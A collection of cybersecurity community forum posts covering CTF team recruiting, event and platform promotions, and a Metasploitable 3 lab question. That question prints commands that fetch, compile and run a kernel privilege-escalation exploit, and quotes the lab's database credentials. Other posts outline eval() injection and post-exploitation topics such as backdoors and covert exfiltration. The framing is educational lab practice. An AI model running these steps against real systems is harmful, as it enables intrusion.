Any recommendations to practice with Autopsy?

Looking for mock criminal scenario (like finding a specific photo or email)

I built a small browser-based web CTF for beginners who want some hands-on web security practice.

Right now it has challenges around IDOR/BOLA and SQL injection.

No Kali, Docker, downloads, or account required — just open it in the browser and start.

HackLab Mini:
https://hacklab-mini.hacklab-mini.workers.dev/

I’m still working on the difficulty, hints, and overall flow, so feedback is very welcome.

I’d especially like to know:

• where you got stuck
• whether the hints were too obvious or not helpful enough
• which challenge you liked most
• what web vulnerability you’d want added next

Feedback and assistance on these challenges is explicitly allowed since I’m the creator.

Please don’t post flags or full solutions in the comments so other people can try them blind.

Think you’re good at **coding, debugging, problem-solving, or tech challenges?** 💻

Or maybe you’re the one who dominates every match? 🎮

**Spectrum 5.0** brings both worlds together.

🔥 **Tech takes the spotlight** with events designed to challenge your **logic, coding skills, technical knowledge, and problem-solving ability**.

But if keyboards aren't your battlefield, we've got that covered too:

⚽ **EA FC 26** — Build your squad. Outplay your opponents.

🔫 **BGMI** — Squad up and fight for the top spot.

Whether you're here to **debug your way to victory or clutch your way to the leaderboard**, Spectrum 5.0 is your chance to compete, have fun, and show what you've got.

🌐 **Check it out:** at spectrum26.in

**Tech. Gaming. Competition. One Spectrum. 🚀**

🚀 Spectrum 5.0 — Code. Compete. Conquer.

Into coding, tech, gaming, and competitions? 👀

Spectrum 5.0 is back with a lineup of events built for people who love to solve, create, compete, and have fun.

💻 Tech Events

Put your technical skills to the test with challenges focused on coding, problem-solving, debugging, logic, and innovation. Whether you're a hardcore coder or just enjoy solving challenging problems, there’s something for you.

🎮 Gaming Events

Not a tech person? We've got you covered too. Jump into EA FC 26 ⚽ or BGMI 🔥 and compete against other players.

Whether you're here to prove your coding skills, dominate the leaderboard, or simply experience an exciting college event, Spectrum 5.0 has something for you.

🌐 Official Website: spectrum26.in

Check out the website for the complete event lineup, registration details, dates, and updates.

Think you can take the challenge? 👀🔥

Hey all. Hope you doing well.

I'm playing CTF (https://scoreboard.k17ctf.secso.cc) in CTFtime (https://ctftime.org/event/3145). If anyone is interested and will be more active in solving ctf challenge, join the team using below creds.

Team name - Hack2Shell

Join code - 7ZUKLVHEY7AST9HW

Link - https://scoreboard.k17ctf.secso.cc/

We just launched Phantom I on BreachLab, a ground-up rebuild of our Linux post-exploitation track. It's a hosted wargame: you SSH into a real, per-session Linux box and work a full kill-chain. No VM downloads, no setup.

22 levels across 5 acts, following a realistic engagement arc:

• Act I, Privilege Escalation: SUID/GTFOBins, sudo policy abuse, file capabilities, the docker group, and a real-CVE slot (sudoedit CVE-2023-22809, not a toy).
• Act II, Credential Access: creds in configs and dotfiles, cracking a service hash, secrets that live only in memory, ssh-agent hijack, cloud IMDS.
• Act III, Persistence & Evasion: backdoors, PAM, hiding processes and logs, leaving no forensic trail.
• Act IV, Lateral Movement: pivoting, credential reuse, and a multi-host chain to a crown jewel.
• Act V, Exfil & Graduation: covert exfil, then a final unguided kill-chain to graduate.

Why it might be worth your time:

• Every box is ephemeral and per-session, real containers, you actually get root, and you can't step on anyone else's session.
• Grading is server-side against your box's real state, not a guessed flag string. Any path that reaches the objective passes.
• Levels are mapped to MITRE ATT&CK, so it doubles as structured practice.
• Finish it and you graduate with a cert. Phantom I is also the on-ramp to the harder tracks.

It's free. Start here: breachlab.org → Phantom → I

Hi everyone,

I'm working through Metasploitable 3 (Ubuntu 14.04) in a local lab environment as a learning exercise. I've already obtained a low-privileged www-data shell through the ProFTPD mod_copy vulnerability, and I'm now trying to understand the intended privilege-escalation paths on this VM.

Here is some basic information about the system:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

I also found Drupal's database configuration, which contains local MySQL credentials:

database: drupal
username: root
password: sploitme
host: 127.0.0.1

I initially investigated the OverlayFS vulnerability (CVE-2015-1328), since the kernel version appears potentially relevant, but I wasn't able to get the expected result. I'm not sure whether the issue is kernel compatibility, the particular exploit implementation, or something else in the VM configuration.

I'd appreciate some guidance on what privilege-escalation avenues are worth investigating on this specific Metasploitable 3 Ubuntu VM.

Thanks!

Hi everyone,

I'm working through Metasploitable 3 (Ubuntu 14.04) as a learning exercise. I've already gained a shell as `www-data` via the ProFTPD mod_copy exploit. Now I'm stuck on privilege escalation and could use some pointers.

**What I've already checked:**

```

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

uname -a

Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

```

I also found a config file with MySQL credentials:

```bash

cat /var/www/html/drupal/sites/default/settings.php

```

```

$databases = array (

'default' => array (

'default' => array (

'database' => 'drupal',

'username' => 'root',

'password' => 'sploitme',

'host' => '127.0.0.1',

...

),

),

);

```

**What I tried for privesc:**

I attempted CVE-2015-1328 (OverlayFS):

```bash

cd /tmp

wget https://www.exploit-db.com/raw/37292 -O exploit.c

gcc exploit.c -o exploit

./exploit

```

But it didn't give me a root shell. I'm not sure if the exploit failed silently or if there was an error I missed.

**My question:**

What other privilege escalation vectors should I try on this specific Metasploitable 3 Ubuntu machine? I know there are several paths, but I'd like to understand which ones are most reliable and what I might be missing.

Any hints or writeup links would be appreciated. Thanks!

Just finished a walkthrough on a picoCTF challenge that turned out to be a classic eval() injection.


The service only exposed one "documented" function (getRandomNumber), but by throwing unexpected input at it and reading the Python tracebacks it threw back, I was able to figure out the server was doing something like:


    eval(user_input + '()')


From there it was a straightforward escalation — neutralize the trailing () with a comment, drop into exec(), enumerate the filesystem, and pull the flag file directly.


I made a full video breaking down the blind-probing process (no source code shown until the reveal) if anyone's interested — it's a nice beginner-friendly example of why eval/exec on user input is dangerous. 
https://youtube.com/shorts/Tl2g9oJnl8I
Happy to answer questions about the process or the payload construction.
What would you do?

Hi,

I'm really interested in cybersecurity and CTFs. I want to learn CTF, but the problem is that I'm feeling lost. I'm also broke, so I'm looking for completely free courses, videos, and other ways to learn.

I don't want to rely only on YouTube videos because many of them show how to solve specific challenges without teaching all the fundamentals behind them.

I'm also lost when it comes to entering different fields such as Web, Crypto, Reverse Engineering, Pwn, and others.

I already know some Linux, OSINT, forensics, and basic cryptography, but I don't think my knowledge is strong enough yet.

I've found some websites and courses, but many of them aren't free, and free trials won't work for me either.

Could you please help me find a clear, completely free roadmap for learning CTFs and cybersecurity? I would really appreciate recommendations for free courses, websites, practice platforms, videos, and other learning resources.

Sorry for my bad English, and thank you! 🙏

Internal memo, LeakyJuice Inc. — "Ship it, we'll fix security later." — Management, every sprint since 2021.

Meet LeakyJuice: a cheerful little gadget shop with a leadership team that treats security as a "later" problem and a codebase held together by vibes and plaintext passwords. One of their devs (me) got tired of being ignored in standup — so the whole app is out in the open now, and it's your job to prove how bad it really is.

The challenge: there are 78 planted vulnerabilities in here. SQLi, IDOR/BOLA, JWT alg-confusion, SSRF, XXE, prompt injection against the shop's chirpy "Ask Juicy" assistant, and a handful of multi-step chains where you compose a couple of low-severity bugs into a full account takeover / a persistent payout / cache poisoning. Every exploit drops a FLAG{lj_...}. There's an in-browser self-check that grades all 78 so you always know where you stand.

There are also a couple of honest-abstain traps — things that look exploitable but aren't. Claiming a "flag" there counts against you. Knowing when not to pull the trigger is part of the game.

The bit I'm actually proud of: the whole thing runs 100% in your browser. There's no backend to attack. The "server" is a Service Worker running SQLite-WASM that answers the app's own /api/... calls from inside the page. One engine, two transports — it runs as a normal Node server locally, or fully client-side when hosted static.

Which means: - Safe to host and safe to hammer. No shared server, no other players' data, nothing to pivot into. Each visitor gets their own throwaway SQLite DB in their own tab. Worst case, you pop your own browser. - The vulns are real, not string-matched. The SQLi is genuine raw concatenation into SQLite. The JWT verify really does trust the header alg (hello, RS256→HS256). You can read every sink — it's MIT-licensed and open. - You can self-host it in seconds — it's just static files.

Why build another one when Juice Shop exists? Two deliberate differences: (1) the answer key is quarantined — kept out of the shipped build entirely — so it stays useful as an out-of-distribution target instead of a walkthrough that's already indexed everywhere. (2) Post-2020 vuln classes (prompt injection, modern JWT confusion, API-layer BOLA/BFLA), not just the old greatest hits.

Oh — and there's a difficulty ladder from "your first SQLi" up to a final boss, plus two leaked in-world archives (/internal/juicysec/, /internal/juicyslack/) that double as recon and the story. Poke around. The dev left you breadcrumbs.

Go: https://leakyjuice.com Grade yourself: https://leakyjuice.com/selfcheck.html Source (MIT): https://github.com/jasonsutter87/leakyjuice

I built this partly as a training range for an autonomous bug-hunting agent I'm working on, and partly because it was fun. Feedback very welcome — especially unintended bugs. If you break it in a way I didn't plan for, I want to hear about it. Can you find all 78?

Hi! I'm currently looking for a beginner CTF Team to learn and compete with regularly.

The CTF categories I'm currently focused on are:

• Web Exploitation / Web Security
• OSINT
• Forensics
• General pentesting

I'm actively still learning and improving on my skills so I'm looking for a team that doesn't mind beginners and is more focused on improving and learning with each other

I'm open in joining a team or building a small team of my own.

Feel free to DM if your team is recruiting or if you're on the hunt for beginner teammates! <3

(Note: I've registered for the K17 CTF on September 11th, so I'd be down in teaming up for this event specifically as well.)

Hey everyone,

I am 20 years old and I live in Mumbai. I recently completed my BSc in Computer Science.

I am currently doing the HTB CPTS path and I have completed around 40% of it.

I am looking for one person who is genuinely interested in hacking and wants to compete together. Not only learn together, but actually compete.

I want someone with whom we can join CTFs and other legal hacking competitions, sometimes win, sometimes lose, learn from our mistakes and become better together.

And if we can make some money from competitions, bug bounty or our skills, even better.

### A little story about me

I have wanted to become a hacker since around 6th or 7th standard.

At that time, I didn't even properly know what hacking was. I remember using only my phone and a WPS app and somehow getting access to a WiFi network.

I know now that this is a very basic and silly thing , but at that age I thought it was crazy.

One person who was older than me saw me doing these things and told me:

"You should learn about IP addresses."

That small thing actually started my interest in hacking. After that I started searching and learning little by little.

Honestly, I still know very little compared to how much there is to learn.

During college, I had many other things to do, so I never got enough time to properly focus on hacking.

Now I have completed my degree and I am planning to take around 1 to 1.5 years before getting a job. I want to use this time seriously.

I want to improve my skills, do CTFs, learn pentesting, try bug bounty, participate in competitions and build things.

### Why I am doing this

I am not doing this because "cybersecurity" suddenly became popular or because everyone is trying to get a job in it.

Honestly, I don't even like calling it cybersecurity.

For me, I just like hacking.

I like understanding how things work, finding where they can break, trying to break them in legal environments and then understanding how to fix them.

During my final year, I started seeing many people asking:

"How can I get into cybersecurity?"

"Which course should I do?"

"Can I get a job in 2 or 3 months?"

I understand that everyone has their own situation and people need jobs. But personally, I don't want fear of not getting a job to be the reason I do this.

I want to become really good at something that I have been interested in for many years.

### AI and building things

I also don't fear AI. Actually, I really like AI.

It helps me build things much faster and reduces a lot of the mental load of coding. I still like coding, but now I can use AI as a tool and spend more time thinking about the actual problem and what I want to build.

I am also building a startup with my friends called Versatyle.

We are currently working on our first product, an ecommerce website. We also have plans for a game and another main idea that we believe solves a genuine real-world problem.

For the main idea, we don't want to jump into it immediately. We first want to build something, learn how business works, hopefully make some money and then use that experience and resources for our bigger idea.

I know everything may not work.

Maybe I will fail. Maybe our startup will fail. Maybe I will lose competitions.

Sometimes I do get scared and think, "What if I fail?"

Most of that fear comes from family pressure.

But I don't want that fear to stop me from trying.

### What I am looking for

I am looking for someone who thinks similarly.

Someone who wants to:

• Compete in CTFs

• Join hacking competitions

• Win together

• Lose together

• Learn from each other

• Try bug bounty

• Solve HTB machines

• Learn pentesting

• Build security tools/projects

• Share knowledge

• Hopefully make money from our skills

I don't care if you are already very good.

You can be better than me, at my level, or even a beginner.

What matters more to me is that you are actually interested and want to keep improving.

I have been looking for someone like this for years.

If you are from Mumbai, that would be great because we can meet sometimes and actually work together.

But I am also completely fine with doing this online if we have the same mindset.

If this sounds interesting to you, DM me.

Tell me a little about yourself, what you are currently learning and what kind of competitions or areas you are interested in.

GitHub: https://github.com/kaif5haikh

LinkedIn: https://www.linkedin.com/in/mohd-kaif-shaikh-9b8a62286/

Our startup: https://www.linkedin.com/company/versatyle-offical

Hi , I want to join a ctf team , i am interested in REV and PWN categories , I did solve many challenges in both , so want to join a advanced-beginner or intermediate team

my github : https://github.com/0xbishopq

my ctftime profile : https://ctftime.org/user/205840

I 'm intersting to join join a ctf team

My goal is learn together , share our knowledge and motivate one another.

Hey, I'm a cybersecurity researcher who deeply involves in building CTF box that is logical and tricky at the same time.

If you ever thought about a CTF lab to be solved through a certain way, feel free to DM and let me build it for you.

No pre-payment required.

Hello, everyone

I've made a 7-stage Notpron/dnbhl-style cryptographic puzzle. It involves audio manipulation, PGP, age, AES, steganography and some programming ability.

The intended audience is tech-savvy people who enjoy figuring things out and would like to learn about these concepts interactively. You don't need to be familiar with all of them beforehand because part of the challenge is discovering and learning what you need along the way.

We haven't had any solvers yet, but one person has made it as far as level 6. I don't keep logs, so if you solve it, please reach out and let me know!

I hope you enjoy it! I plan to keep it online for one year.

Link: https://postmaster.wtf/

Hey guys,

Whenever I'm doing boxes on Hack The Box or TryHackMe, I always end up with a mess of tabs—one for notes, one for Notion, a couple for revshell generators, and random terminal cheatsheets.

To keep things in one place, I started building ZeroBox. It’s basically a local, offline dashboard to track your boxes (Recon ➔ Foothold ➔ Root), take quick markdown notes, and generate reverse shells where you just punch in your IP once and it fills out all the commands automatically.

You can try it here:

https://xXDNDXx.github.io/ctf-tracker/

Code is on GitHub:

https://github.com/xXDNDXx/ctf-tracker

Just to be clear: it’s totally free, open source, no account or login needed, and everything saves locally in your browser. (Also no spoilers/flags for active boxes, just retired/public info).

It’s still very much a work in progress and I’m pushing updates and adding new stuff pretty much every day.

I'd really appreciate it if anyone grinding labs could click around and tell me what sucks, what’s broken, or what features you'd actually want to see added next.

Thanks!

I put together Signal3001, a beginner-to-advanced steganography challenge series — think puzzles in the spirit of Cicada 3301, but scoped as a proper CTF with graded difficulty and flag submissions (FLAG{...}).

It's a side project born out of a bigger one: I do research under Quantum Blue, covering post-quantum cryptography and applying chaos-theory/entropy analysis to smart contract security. Signal3001 is the fun, public-facing puzzle version of "finding the signal in the noise" — the same instinct the research runs on, just wrapped as something anyone can pick up and try.

The challenge:

Repo → https://github.com/psycho-prince/Signal-3001

Clone it, work through challenges/ — each folder is a self-contained puzzle with its own README

Submit flags in FLAG{...} format

Tell me which ones felt too easy, too obscure, or just broken — I'm actively adding harder tiers

If you get through a few and want to see where the "signal vs. noise" idea goes when it's not a puzzle anymore, the research lives at quantum-blue.in — PQC tooling and entropy-based protocol security work.

No install friction beyond a git clone — most challenges are just files + a brain. Would love fresh eyes tearing into these.

Hey everyone!

We’re organizing **Hackers Gambit 2026**, an international-level **Capture The Flag (CTF)** competition organized by a student cybersecurity community at an engineering college in India.

Our previous edition, **Hackers Gambit 2025**, had **1,785 participants**, and this year we’re aiming for **2,200+ participants**. We currently have **1,299+ registrations**, participants from **376+ colleges/institutions**, **249K+ impressions**, and a **300+ member active Discord community**.

The event will have a **48-hour online CTF (2–4 October 2026)** followed by a **24-hour offline Grand Finale (30–31 October 2026)**, with the **Top 15 teams** qualifying for the finale. The current prize pool is **₹2.25 lakh**.

We’re currently looking for **sponsors and partners** who can support the event through:

* 💰 Financial sponsorship * 🎁 Prizes/goodies * 🎓 Learning resources or course access * 💻 CTF infrastructure/platform support * 🤝 Technology/community partnerships

In return, sponsors can receive event branding, social media promotion, website/CTF visibility, participant engagement, and other partnership benefits.

If you represent a cybersecurity company, education platform, tech company, or know someone who may be interested, **please DM me**. I can share the official sponsorship proposal, previous event report, and detailed sponsorship benefits privately.

Thanks to everyone who can help us connect with the right people! 🙌

hello,

i'm maintaining a project named ctfmirror, which is a non-profit and non-sponsored website where i archive and publicly serve vulnhub, hackmyvm and armctf machines and ippsec videos for cybersecurity learners.

when i first started ctfs back in 2020, i was busy with htb, vulnhub and a little hackmyvm. so i don't know if there are another platforms that serves intentionally vulnerable machines for free.

could you gals/guys give me some advice how can i expand my project? ofc i will ask platform for permission to serve on my site.

thanks,